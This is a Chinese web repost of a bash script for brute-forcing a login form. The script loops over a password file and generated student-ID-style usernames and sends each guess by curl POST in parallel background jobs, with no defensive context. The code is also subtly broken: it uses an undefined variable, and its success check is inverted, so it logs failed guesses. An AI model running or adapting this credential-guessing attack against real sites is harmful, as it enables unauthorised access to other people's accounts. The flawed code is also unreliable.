linux下,shell脚本暴力破解用户名和密码
发布时间:2020-12-15 07:11:31 所属栏目:安全 来源:网络整理
导读:今天PHP站长网 52php.cn把收集自互联网的代码分享给大家,仅供参考。 #!/bin/bash## This script is used to bruteforce crack the password# Written by Stone Han# Mail : # Date : 19-10-15## where the crack passwds
以下代码由PHP站长网 52php.cn收集自互联网 现在PHP站长网小编把它分享给大家,仅供参考 #!/bin/bash # # This script is used to bruteforce crack the password # Written by Stone Han # Mail : # Date : 19-10-15 # # where the crack passwds store passwd_file=passwd_file cat $passwd_file|while read password; do { for year in `seq 1 20` do { # -w place 0 at the front of the number,making the numbers with the same digits for academy in `seq -w 1 17` do # sid:form of the username sid=$year$academy$number html=`curl -s -d "uid=$sid&pd=$password" LOGIN website` flag=0 # [[ must be usend in bash,LOGIN OK is the symbol of successful login in the response [[ $html =~ "LOGIN OK" ]] && flag=1 if [ $flag -ne "1" ] then # store the result in the file result echo $sid $password >> result curl -s LOGOUT website > /dev/null fi done # daemon process }& done }& done # wait for all the deamon processes finish wait 以上内容由PHP站长网【52php.cn】收集整理供大家参考研究 如果以上内容对您有帮助,欢迎收藏、点赞、推荐、分享。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |